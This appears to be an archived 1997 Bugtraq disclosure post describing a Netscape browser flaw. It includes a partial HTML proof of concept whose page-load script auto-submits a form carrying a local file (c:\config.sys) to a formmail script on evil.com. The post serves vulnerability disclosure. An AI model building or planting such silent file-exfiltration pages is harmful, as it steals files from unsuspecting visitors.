Netscape Exploit

17 Dec 2003


      
...
Approved-By: aleph1@UNDERGROUND.ORG
Date: 	Sat, 14 Jun 1997 19:21:30 -0500
Reply-To: root <root@BACKWATER.PBX.ORG>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: root <root@BACKWATER.PBX.ORG>
Subject:      Netscape Exploit
To: BUGTRAQ@NETSPACE.ORG
Here is a sample it isn't complete but you get the basic idea of what is
going on
<HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
<BODY onLoad="daForm.submit()">
<FORM
  NAME="daForm"
  ACTION="http://evil.com/cgi-bin/formmail.pl"
  METHOD=POST>
<INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
Harddrive">
<INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
and so on and so forth...
--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.
Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm